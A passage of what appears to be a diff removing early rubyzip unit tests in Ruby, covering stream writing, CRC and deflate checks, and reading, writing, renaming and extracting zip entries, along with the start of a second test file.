without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - 